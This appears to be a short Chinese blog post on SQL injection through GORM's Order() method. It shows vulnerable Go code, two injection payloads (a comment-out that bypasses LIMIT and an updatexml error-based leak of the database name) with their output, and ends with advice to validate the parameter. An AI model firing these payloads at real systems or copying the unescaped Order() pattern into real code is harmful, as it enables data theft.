gorm OrderBy注入
摘要:环境代码有时为了方便前端排序可能会将order作为参数传入。虽然gorm有防注入但还是有些方法是没有转义的。gorm不安全的方法func TestGetList(pageNum, pageSize int, order string) []modle.Test {if pageSize == 0 {
环境代码
有时为了方便前端排序可能会将order
作为参数传入,这是不安全的。
虽然gorm有防注入但还是有些方法是没有转义的。
gorm不安全的方法
func TestGetList(pageNum, pageSize int, order string) []modle.Test {
if pageSize == 0 {
pageSize = 20
}
if pageNum == 0 {
pageNum = 1
}
begin := db.GetDB()
tests := make([]modle.Test, 0)
err := begin.Model(&modle.Test{}).Order(order).Offset((pageNum - 1) * pageSize).Limit(pageSize).Find(&tests).Error
if err != nil {
log.Println(err.Error())
}
return tests
}
爆出符合条件的所有数据
请求:
{
"order":"id;-- "
}
执行sql
SELECT * FROM `test` ORDER BY id;-- LIMIT 20
返回:符合条件的所有数据
updatexml
如果有报错回显的话还可能造成更多泄露
请求:
{
"order":"updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)"
}
日志:
Error 1105: XPATH syntax error: '~test~'
建议
在使用前校验参数